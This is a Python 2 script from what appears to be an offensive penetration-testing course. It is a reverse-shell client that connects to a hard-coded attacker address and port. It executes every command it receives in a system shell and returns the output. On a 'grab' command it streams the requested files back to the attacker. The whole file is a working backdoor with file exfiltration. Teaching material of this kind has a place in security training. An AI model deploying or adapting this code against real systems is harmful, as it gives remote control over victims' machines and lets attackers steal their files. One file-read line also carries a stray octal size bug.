# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn  https://jo.linkedin.com/in/python2


# Basic TCP Client

import socket                     # For Building TCP Connection
import subprocess                 # To start the shell in the system
import os

def transfer (s,path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != '':
            s.send(packet)
            packet = f.read(024)
        s.sendall('DONE')
        f.close()

    else:
        s.send ('Unable to find the file')
        

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # start a socket object 's' 
    s.connect(('10.0.2.8', 8282))                            # Here we define the Attacker IP and the listening port
 
    while True:                                                 # keep receiving commands from the Kali machine
        command =  s.recv(1024)                                 # read the first KB of the tcp socket
        
        if 'terminate' in command:                  # if we got termiante order from the attacker, close the socket and break the loop
            s.close()
            break

        elif 'grab' in command:            
            grab,path = command.split('*')
            
            try:                          # when it comes to low level file transfer, alot of things can go wrong, therefore
                                          # we use exception handling (try and except) to protect our script from being crashed
                                          # in case something went wrong, we will send the error that happened and pass the exception
                transfer(s,path)
            except Exception,e:
                s.send ( str(e) )  # send the exception error
                pass
        
        else:                                      # otherwise, we pass the received command to a shell process
            
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            
            s.sendall( CMD.stdout.read()  ) # send back the result
            s.sendall( CMD.stderr.read()  ) # send back the error -if any-, such as syntax error

def main ():
    connect()
main()











